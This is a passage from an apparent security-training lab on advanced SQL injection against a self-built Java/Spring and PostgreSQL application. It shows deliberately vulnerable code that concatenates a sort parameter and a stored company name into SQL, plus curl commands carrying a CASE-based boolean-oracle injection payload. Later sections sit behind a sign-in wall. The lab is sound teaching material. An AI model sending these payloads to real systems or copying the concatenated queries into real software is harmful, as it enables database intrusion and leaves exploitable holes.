Practice library / Web attacks
Lab · Hard · 2.5 hoursFree account
Advanced SQL Injection
White-box ORDER BY injection, PostgreSQL stacked queries, and a second-order leak in a Java/Spring app.
On this page 16 sections
- ·Why this lab is different
- ·Prerequisites
- ·Lab setup
- ·Build the target
- 1Read the source for string-built queries
- 2Confirm the ORDER BY injection with a boolean oracle
- Locked: Extract data through the ORDER BY oracle
- Locked: Confirm stacked queries work
- Locked: Leak data with a stacked DO block
- Locked: Find and trigger the second-order injection
- Locked: Automate and verify with sqlmap
- Locked: Check for command-execution escalation
- Locked: Detection and defence
- Locked: Check
- Locked: Clean-up
- Locked: Command reference
White-box SQL injection starts by reading the source, not by fuzzing an input. Identifiers like a sort column cannot be bound as parameters, so an ORDER BY clause often hides an injection that a WHERE clause does not, and stacked PostgreSQL queries turn one leak into many. The exercises here read a small Java and Spring application, build a boolean oracle inside ORDER BY, and trigger a second-order injection that fires on a page the payload never touched.
Lab Objectives
- Find a SQL injection point by reading application source, not by guessing
- Explain why identifiers (like a sort column) cannot be bound as query parameters
- Build a boolean oracle inside an ORDER BY clause and extract data with it
- Run stacked queries against PostgreSQL and leak data through a raised exception
- Trigger a second-order injection stored by one request and fired by another
- Check whether a SQL injection can escalate to OS command execution, and explain why or why not
Why this lab is different
Blind SQL Injection gave you an oracle against a WHERE clause on MSSQL, with no source code to read. Real white-box reviews are different: you read the code first, so you know exactly where the taint goes before you send a single request.
This lab targets a Java/Spring Boot application backed by PostgreSQL. You will find two separate bugs by reading two small files. You exploit each one: an injection hidden in a sort parameter. The second bug is a second-order injection: it fires on a page you never touched when you sent the payload.
Prerequisites
- Finish Blind SQL Injection. You need to already know how to build and read a boolean oracle. Here you place that oracle inside an
ORDER BYclause instead of aWHEREclause. - Read SQL Injection Deep Dive again if UNION-based and error-based injection feel unfamiliar.
- Read basic Java. You read two short files. You do not write any Java.
Lab setup
| Item | Purpose |
|---|---|
curl | Sends the crafted requests and reads the HTTP status and body |
sqlmap | Confirms the finding and automates extraction |
| A text editor | Reads the two Java source files for this lab |
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a small application that you build. The names and the address 10.0.12.20:8080 below are the example values of this lab. Replace them with the address of your own application.
Your lab application, CorpCommerce, must have these parts:
| Part | What it must be |
|---|---|
| Application | An order-management web application built with Java 17 and Spring Boot 3, reachable at 10.0.12.20:8080 |
| Database | PostgreSQL 15 with the pg_trgm extension (for similarity()) |
| Database role | The application connects as the role portal_app. It is not a superuser and not a member of pg_execute_server_program (Steps 3 and 8) |
| Your Kali machine | The attack box, with curl and sqlmap |
- The source tree of the application in a folder on your Kali machine. This lab calls it
~/corpcommerce-src. Use your own folder name and put it in thegrepcommand of Step 1. GET /api/orderswith asortparameter. The code is theOrderControllerexcerpt of Step 1:ORDER BYbuilt by string concatenation, withowner_idbound as a parameter. The endpoint answers without a login (Steps 2 to 5 and 8 send no cookie), and the owner has at least one order row, so that theELSEbranch of theCASEruns.POST /api/registerwith JSONemail,passwordandcompany. It storescompanywith a parameterisedINSERT(Step 6).POST /api/loginwith JSONemailandpassword. It returns a session cookie.GET /api/dashboardfor a signed-in user. It calls theCompanyRepository.findSimilarexcerpt of Step 1 with the storedcompanyof that user. Tablecompanieshas the columnsnameandindustry.- Stacked statements run: the application sends the query as one plain string, as in the excerpt.
- An error handler that returns the raw database error in the
messagefield of the JSON error body, as the outputs of Steps 5, 6 and 8 show. - No test account is needed. You register
tester@example.comin Step 6. Use your own password and put it in the commands.
Build such an application yourself, or ask for no more than these two flaws in a small project: a sort parameter that is concatenated into ORDER BY, and a stored value that a later query concatenates. Run it and PostgreSQL in containers or virtual machines on your own computer. Do not expose it to a network that you do not control. If you use containers, note the container state before Step 1, so that you can go back.
Legal note. Run every command in this lab only against 10.0.12.20, your own application. Never point sqlmap or a crafted curl request at a server you do not own or have written permission to test. Unauthorised SQL injection is a crime in most countries.
Step 1: Read the source for string-built queries
Find where the app builds SQL by concatenation
Open the two files below. Each one binds some input safely and one input unsafely. Spot the difference before you run anything.
@GetMapping("/api/orders")
public List<Order> listOrders(@RequestParam(defaultValue = "id") String sort) {
// ownerId is bound safely — JdbcTemplate binds it with a placeholder.
// sort is concatenated — JdbcTemplate cannot bind an IDENTIFIER (a column name).
String sql = "SELECT * FROM orders WHERE owner_id = ? ORDER BY " + sort;
return jdbcTemplate.query(sql, (rs, i) -> mapRow(rs), currentUser().getId());
}A prepared statement can bind a value in place of ?. It cannot bind a column name or a direction (ASC/DESC) — those are identifiers, not values. Many real applications build the ORDER BY clause by concatenation for exactly this reason. That turns a sort feature into an injection point.
public List<Company> findSimilar(String companyName) {
// companyName comes from the signed-in user's own stored profile.
String sql = "SELECT name, industry FROM companies WHERE name <> '" + companyName
+ "' ORDER BY similarity(name, '" + companyName + "') DESC LIMIT 5";
return jdbcTemplate.query(sql, (rs, i) ->
new Company(rs.getString("name"), rs.getString("industry")));
}findSimilar runs on the dashboard, not on registration. Remember this file — Step 6 comes back to it.
# Confirm the pattern yourself: search the source for string-built SQL
grep -rn "ORDER BY \" + sort\|name <> '\" + companyName" ~/corpcommerce-srcExample output:
OrderController.java:41: String sql = "SELECT * FROM orders WHERE owner_id = ? ORDER BY " + sort;
CompanyRepository.java:18: String sql = "SELECT name, industry FROM companies WHERE name <> '" + companyNameStep 2: Confirm the ORDER BY injection with a boolean oracle
Flip a CASE expression inside ORDER BY
Replace the sort value with a CASE expression. The ELSE branch divides by zero, so PostgreSQL raises an error only when the condition is false.
# Baseline — a normal sort value
curl -s -o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders?sort=id"
# True branch: 1=1, so the CASE returns "id" — no error
curl -s -G --data-urlencode "sort=(CASE WHEN (1=1) THEN id ELSE (SELECT 1/0) END)" \
-o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders"
# False branch: 1=2, so the CASE falls into the ELSE branch — division by zero
curl -s -G --data-urlencode "sort=(CASE WHEN (1=2) THEN id ELSE (SELECT 1/0) END)" \
-o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders"Example output:
200
200
500The status code flips from 200 to 500 only when the condition is false. That flip is your oracle — true gives 200, false gives 500.
Sign in to continue
10 more sections are for signed-in members. It is free: sign in with Google.